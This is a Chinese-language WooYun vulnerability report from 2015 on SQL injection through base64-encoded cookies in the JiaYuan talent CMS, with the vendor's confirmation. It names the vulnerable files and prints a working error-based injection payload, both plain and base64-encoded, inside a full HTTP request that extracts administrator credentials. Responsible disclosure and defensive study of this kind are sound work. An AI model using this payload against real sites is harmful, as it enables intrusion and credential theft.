当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0101750

漏洞标题:嘉缘人才系统多处sql注入打包

相关厂商:finereason.com

漏洞作者: 牛肉包子

提交时间:2015-03-17 16:40

修复时间:2015-06-18 14:42

公开时间:2015-06-18 14:42

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-17: 细节已通知厂商并且等待厂商处理中
2015-03-20: 厂商已经确认,细节仅向厂商公开
2015-03-23: 细节向第三方安全合作伙伴开放
2015-05-14: 细节向核心白帽子及相关领域专家公开
2015-05-24: 细节向普通白帽子公开
2015-06-03: 细节向实习白帽子公开
2015-06-18: 细节向公众公开

简要描述:

一次性全部打包,希望厂商重视这个问题,做好过滤。

详细说明:

这套cms存在一个很大隐患就是对于cookie的过滤。根据这个cms给出的函数可以写一个dome

<?php
error_reporting(0);
foreach($_REQUEST as $_k=>$_v){
if( strlen($_k)>0 && preg_match('/^(cfg|GLOBALS)/i',$_k) ){
exit('Request var not allow!');
}
}
foreach(Array('_GET','_POST','_COOKIE') as $_request){
foreach($$_request as $_k => $_v) $_k{0} != '_' && ${$_k} = is_array($_v)?_runmagicquotes($_v):cleartags(_runmagicquotes($_v));
//foreach($$_request as $_k => $_v) ${$_k} = _runmagicquotes($_v);
}
function _runmagicquotes(&$svar){
if(!get_magic_quotes_gpc()){
if( is_array($svar) ){
foreach($svar as $_k => $_v) $svar[$_k] = _runmagicquotes($_v);
}else{
$svar = addslashes($svar);
}
}
return $svar;
}
function cleartags($msg){
if(!$msg) return '';
$msg=stripslashes($msg);
$msg=strip_tags($msg);
$msg=dhtmlspecialchars($msg);
return trim(addslashes($msg));
}
function dhtmlspecialchars($string) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = dhtmlspecialchars($val);
}
}else{
$string = str_replace(array('&', '"', '<', '>'),array('&amp;', '&quot;', '&lt;', '&gt;'), $string);
if(strpos($string, '&#') !== false) {
$string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4}));)/','&\\1', $string);
}
}
return $string;
}
function checksql($dbstr,$querytype='select'){
$clean = '';
$old_pos = 0;
$pos = -1;
//普通语句,直接过滤特殊语法
if($querytype=='select'){
$nastr = "/[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}/i";
if(preg_match($nastr,$dbstr)){
log_write($dbstr,'sql');
showmsg('SafeError:10001', 'javascript:;');
exit();
}
}
//完整的SQL检查
while (true){
$pos = strpos($dbstr, '\'', $pos + 1);
if ($pos === false){
break;
}
$clean .= substr($dbstr, $old_pos, $pos - $old_pos);
while (true){
$pos1 = strpos($dbstr, '\'', $pos + 1);
$pos2 = strpos($dbstr, '\\', $pos + 1);
if ($pos1 === false){
break;
}
elseif ($pos2 == false || $pos2 > $pos1){
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s$';
$old_pos = $pos + 1;
}
$clean .= substr($dbstr, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
if (strpos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0){

$fail = true;
echo "aaaaaaa";
}
elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== false || strpos($clean, '#') !== false){
$fail = true;
echo "bbbbbbb";
}
elseif (strpos($clean, 'sleep') !== false && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0){
$fail = true;
echo "ccccccc";
}
elseif (strpos($clean, 'benchmark') !== false && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0){
$fail = true;
echo "ddddddd";
}
elseif (strpos($clean, 'load_file') !== false && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0){
$fail = true;
echo "eeeeeee";
}
elseif (strpos($clean, 'into outfile') !== false && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0){
$fail = true;
echo "fffffff";
}
elseif (preg_match('~\([^)]*?select~s', $clean) != 0){
$fail = true;
echo "ggggggg";
}
if (!empty($fail)){
//log_write($dbstr,'sql');
echo "SafeError:10002";exit;
}
else
{
return $dbstr;
}
}
$word = $_COOKIE['word'];
echo $word;
?>


我们来测试对于cookie的过滤。可以看到直接引入单引号

7.png


cms中获取cookie的函数是这样写的,其实最终效果和demo一样

function _getcookie($var) {
global $cfg;
$var = $cfg['cookie_pre'].$var;
return isset($_COOKIE[$var]) ? substr(base64_decode($_COOKIE[$var]),0,-strlen($cfg['cookie_encode'])) : '';
}


然后我们在整个cms中搜索一下这个函数

8.png


其中 WooYun: 嘉缘人才系统SQL注入漏洞
WooYun: 嘉缘人才系统SQL注入可获取任意数据#1
提交过这个cookie的问题,但是厂商是怎样做的呢?
就对于上面两个文件加上了cleartags这个函数,其他的就不管了。
除了这两处,还存在12处。都存在这个cookie注入问题。
在\inc\attention.php

require(dirname(__FILE__).'/../config.inc.php');
if(empty($do)) $do= '';$db=connectdb();
$mid=intval($mid);
if($do=="addatten"&&$mid){
$username=_getcookie('user_login');
if($username==''){
echo 'nologin';exit();
}else{
$rs = $db->get_one("select m_id,m_flag,m_name,m_typeid from {$cfg['tb_pre']}member where m_login='$username' limit 1");


在\inc\concat.php

require(dirname(__FILE__).'/../config.inc.php');
$db=connectdb();
$username=_getcookie('user_login');
$usertype=_getcookie('user_type');
require_once(FR_ROOT.'/inc/paylog.inc.php');
//取权限
$Glimit=$Gintegral=Array(0,0,0,0,0,0,0,0,0,0,0,0,0);
if($username!=''){
$rs = $db->get_one("select m_id,m_name,m_flag,DATEDIFF(m_enddate,'".date('Y-m-d')."') as end,m_limit,g_limit,g_integral from {$cfg['tb_pre']}member INNER JOIN {$cfg['tb_pre']}group on m_groupid=g_id where m_login='$username' limit 0,1");


在\inc\do_ajax_file_upload.php

<?php
require_once(dirname(__FILE__).'/../config.inc.php');
!isset($db)&&$db=connectdb();
$username=_getcookie('user_login');
if($username!=''){
$userpass=_getcookie('user_pass');
$rs = $db->get_one("select m_id from {$cfg['tb_pre']}member where m_login='$username' and m_pwd='$userpass' limit 1");
}


以及
member\course_list.php
member\department_list.php
member\professor.php
member\studnet_list.php
等等地方都存在这个注入。
对于漏洞的利用方式
WooYun: 嘉缘人才系统SQL注入漏洞
WooYun: 嘉缘人才系统SQL注入可获取任意数据#1
这两个提供了,盲注的方法。
根据我前面提交过的漏洞,还可以通过报错注入直接出数据。
我以\inc\do_ajax_file_upload.php为例

GET /frcms/inc/do_ajax_file_upload.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: fr_user_login=ZnVja1NnWlFkMzMwNVY%3D;
X-Forwarded-For: 8.8.8.8
Connection: keep-alive


将base64解密

fuckSgZQd3305V

fuck为我们可控,我们构造

fuck' or char(@`'`) or (SELECT 1 FROM(SELECT count(*),concat((SELECT(SELECT concat(a_user,0x27,a_pass)) FROM job_admin limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a)#SgZQd3305V


然后base64一次

ZnVjaycgb3IgY2hhcihAYCdgKSBvciAoU0VMRUNUIDEgRlJPTShTRUxFQ1QgY291bnQoKiksY29uY2F0KChTRUxFQ1QoU0VMRUNUIGNvbmNhdChhX3VzZXIsMHgyNyxhX3Bhc3MpKSBGUk9NIGpvYl9hZG1pbiBsaW1pdCAwLDEpLGZsb29yKHJhbmQoMCkqMikpeCBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIGdyb3VwIGJ5IHgpYSkjU2daUWQzMzA1Vg==


提交,mysql报错

9.png


然后访问日志记录文件

10.png


漏洞证明:

10.png

修复方案:

漏洞不能指哪里,补哪里。

版权声明:转载请注明来源 牛肉包子@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-03-20 14:40

厂商回复:

前边有两个是因为最近没有登录这个平台,系统自动忽略了,感谢提交。

最新状态:

暂无